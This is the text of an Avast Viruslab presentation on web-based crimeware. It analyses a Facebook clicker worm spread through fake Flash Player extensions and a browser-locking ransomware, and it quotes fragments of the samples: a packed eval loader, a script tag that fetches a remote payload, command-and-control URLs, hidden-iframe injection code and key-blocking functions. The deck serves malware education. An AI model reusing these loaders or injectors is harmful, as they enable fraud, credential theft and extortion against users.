Where There's Money, There's Crime: Web-based Threats

Web-based Threats
Bezpečnostní hrozby na webu
Jan Širmer
Pavel Šrámek

Cyber-security myths
Which of these myths have you heard?
• I can safely open this attachment because
the e-mail came from my friend
• I can protect myself from malware
by not going on porn/warez sites
• Malware is only a problem on Windows
• Malware is created by teenage geeks
simply for bragging rights
• Malware is created by antivirus vendors
326. 8. 2017 AVAST Viruslab

The crimeware business

The crimeware business
Malware authors are in it for the money
• LockScreens, FakeAVs and encrypting ransomware
• Banking trojans
• Phishing, Identity theft
• Botnets offered as a service
– Spam
– DDoS
– CPU power (bitcoin mining, hash cracking, …)
All sold on black market

Traditional infection vectors
The easiest way to infect a machine?
Convince the user to run it himself!
• social engineering
Your second best bet?
• zero day vulnerabilities – Java, Adobe reader, Flash
• out-of-date and/or pirated OS installations
• hacked websites = best free hosting
 Commercial exploit kits

Victim Compromised
server
Website content
request
Malicious JS
vuln-
check Get exploit code
Malware C&C
server
Exploit + payloadinstall
Malware communication
Bot background
service
Traditional infection timeline

The new option: in-browser malware
Traditional attacks target a single OS platform
(mostly Win32).
How to attack all platforms at once?
• Use the common denominator – HTML + JS, web browser
• Rich JS API, have fast engines
• JS-based extensions = additional surface
• Attacks come from the web anyway

The new option: in-browser malware
In-browser JS can do:
• Click hijacking for Ad-click fraud
• Worm-like spreading over social networks
• Ransomware equivalent (browser lockup)
• DDoS via AJAX
• Even cryptocurrency mining

Click for me
Click here! Click here!
26. 8. 2017 AVAST Viruslab 11

Option A: Native executable clicker

Option B: Fake Flash player

Payloads
BHO
Win32 extension JavaScript-based extensions
CRXXPI

Payload in IE
• Originally base64 obfuscated
• Injecting BHO

Firefox plug-in Installation

eval(function(p,a,c,k,e,d){e=function(c){return
c};if(!''.replace(/^/,String)){
while(c--){d[c]=k[c]||c}k=[function(e){return
d[e]}];e=function(){return'w+'};c=1};
while(c--){if(k[c]){p=p.replace(new
RegExp('b'+e(c)+'b','g'),k[c])}}return p}
('3639={3:12,10:12,59:9**REMOVED**;',10,110,'
||this|prefs**REMOVED**|GET'.split('|'),0,{})
);
Payloads for FF and Chrome

this.prefService.savePrefFile(null);
this.req("uri", "`||x2''zqfo8&em'b&x`x7}5", guid, 8);}},
http://likecyp.com/j.php?u=GUID&b=1&v=00001&r=RANDOM
{this.req("buri", "lppt>++igq}em*gki+n*tlt;q9", g, inx);}
http://videosnow1.asia/j.php?u=GUID&b=1&v=00001&r=RANDOM
{ xuri = this.dec(this.uri(m, uri), inx) + "" + g +
"&b=1&v=k00001&r=" + Math.floor(Math.random() *
999999); }
Dean unpacked

Changes in browser settings
TestAddon.buri user set string lppt >++igg}em*gki+n*tlt;q9
TestAddon.ch default string
TestAddon.date user set string 1340624313
TestAddon.guid user set string 3c94f90903f031a799162872a55742e8
TestAddon.int user set string 60
TestAddon.uri user set string ‘||x2””eakzg9:&i|”b&x’x7}5
Dropped URLs
• http://likecyp.com/j.php?u=GUID&b=1&v=00001&r=RANDOM
• http://videosnow1.asia/j.php?u=GUID&b=1&v=00001&r=RANDOM

The script trail
document.createElement('script');s.type='text/javascr
ipt';s.src='http://uhnm6.me/js_f.php?v=0.05a
• Two variants of js_f.php‘s returned payload
1. Self-spreading clicker
2. Clicker only
• Additional functionalities
– Page Auto like
– Get online friends
– Solve captcha
– Stealing FB credentials

Self-spreading malware
• The script updates victim’s Facebook and twitter feeds
by posting new status messages

var videos = new Array(10);
videos[0] = Array("80", "Kirst*en. Dunst mastur*bating on
hidden camera", "It happened in United Stateshotel",
"http://bit.ly/MTfe4S", "http://i.imgur.com/NjZPU.jpg",
"", "20", "friend", "327065014030715", "431402153539537",
"AQBu92VH5GDqrJkp", "2309869772");
var flk = Array();
if ((1 == 1)) {
var randomnumber = Math.floor(Math.random() * 100);
if (randomnumber > 0) {
...
Self-spreading malware

Injected iframe creation
function createIframe(src) {
var ifr = document.createElement("iframe");
ifr.setAttribute("src", src);
ifr.style.position = "absolute";
ifr.style.top = "0";
ifr.style.left = "0";
ifr.style.width = "100%";
ifr.style.height = "100%";
document.body.appendChild(ifr)
}
function get_img_src(src, no) {
x = src.getElementsByTagName("img");
return x[no].id
}
function make_dom(src) {
var tempDiv = document.createElement("div");
tempDiv.innerHTML = src;
return tempDiv
}

Clicker
• BHO, Firefox and Chrome payloads all contain a link
to a site like
http://resultsz.com/search/anticheat6.php?username
=foreste
• The site hosts a list of other sites used by all of those
“clickers” for injecting hidden iframes into every visited
site and earning money to the Blackhats.

FB Clicker: Attack vector
Exploit: ID-10-T
• Method: Social engineering
(celebrities, user curiosity)
• Target: Largest social network
Technique: Impersonation
• Common masquerade – Adobe Flash Player
• Trained response to plugin installation prompts
 A significant portion of users will not identify the scam

FB Clicker: Technology
Approach: Extension-based
• Provides extensions for 3 major browsers
• Functionality is the same
Technology: Web-based where possible
• IE uses native extensions (BHO = Win32 DLL)
• FF and Chrome use JS-driven extensions
• JavaScript code is shared
 FF and Chrome attacks are OS-independent worms

In-Browser Ransomware

Geo-specific content
function prepare_Frame(c) {
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "LEND/EN/alert.html");
ifrm.setAttribute("class", "frame");
ifrm.name = "iname"+c;
ifrm.src = "LEND/EN/alert.html";
ifrm.style.display = "none";
ifrm.style.width = 0+"px";
ifrm.style.height = 0+"px";
return ifrm;
//document.body.appendChild(ifrm);
}

Self-protection attempt
function catchControlKeys(event)
{
var code = event.keyCode ? event.keyCode :
event.which ? event.which : null;
if (event.ctrlKey)
{
if (code == 117) return false; // Ctrl + u
if (code == 85) return false; // Ctrl + U
if (code == 99) return false; // Ctrl + c
if (code == 67) return false; // Ctrl + C
if (code == 97) return false; // Ctrl + a
if (code == 65) return false; // Ctrl + A
}
}

Close Prevention

What’s happening on the background?
Repeatedattemptstoclose

Malicious site examples

Spread

In-browser ransomware
mini-summary

In-browser ransomware: Attack vector
Exploit: ID-10-T again
• Method: poisoned links
• Target: people looking for
illegal content
Technique: Scares, threats, lies
• Proven direct monetization scheme
• Some panicked / guilty users really pay
 Ransomware like any other, just faster-acting

In-browser ransomware: Technology
Approach: Pure webpage (HTML + JS)
• Server-side static pages + payment form
• Later versions: Geo-targeted content
Technology: JS only (client-side)
• Event swallowing = lock-like functionality
• Rudimentary self-protection
• Easily evaded by power users (who won’t pay anyway)
 Direct monetization in any modern browser!

Reiteration
Cybersecurity scene
• Financially motivated criminals
• Low awareness of inner workings
Facebook clicker
• Worm-like spreading behavior in JS
• Malicious extensions
In-browser ransomware
• Existing formula, new implementation
• Truly cross-platform

Final thoughts:
Know your foe
• Bad guys will take advantage of anything
• Everyone with a browser is a potential target
• Average Joe’s devices have a value if compromised
Web tech can be abused
• Cross-platform code allows cross-platform malware
• JavaScript can do a lot
• Not traditional exploitation, lower security measures
 Learn which kinds of attacks are possible, educate others

EOF
Join the discussion with AVAST developers
Follow us at Twitter and G+
@avast_devs
#AVASTdevs

Where There's Money, There's Crime: Web-based Threats

Recommended

Recommended

More Related Content

What's hot

What's hot (6)

Similar to Where There's Money, There's Crime: Web-based Threats

Similar to Where There's Money, There's Crime: Web-based Threats (20)

More from Avast

More from Avast (7)

Recently uploaded

Recently uploaded (20)

Where There's Money, There's Crime: Web-based Threats

Editor's Notes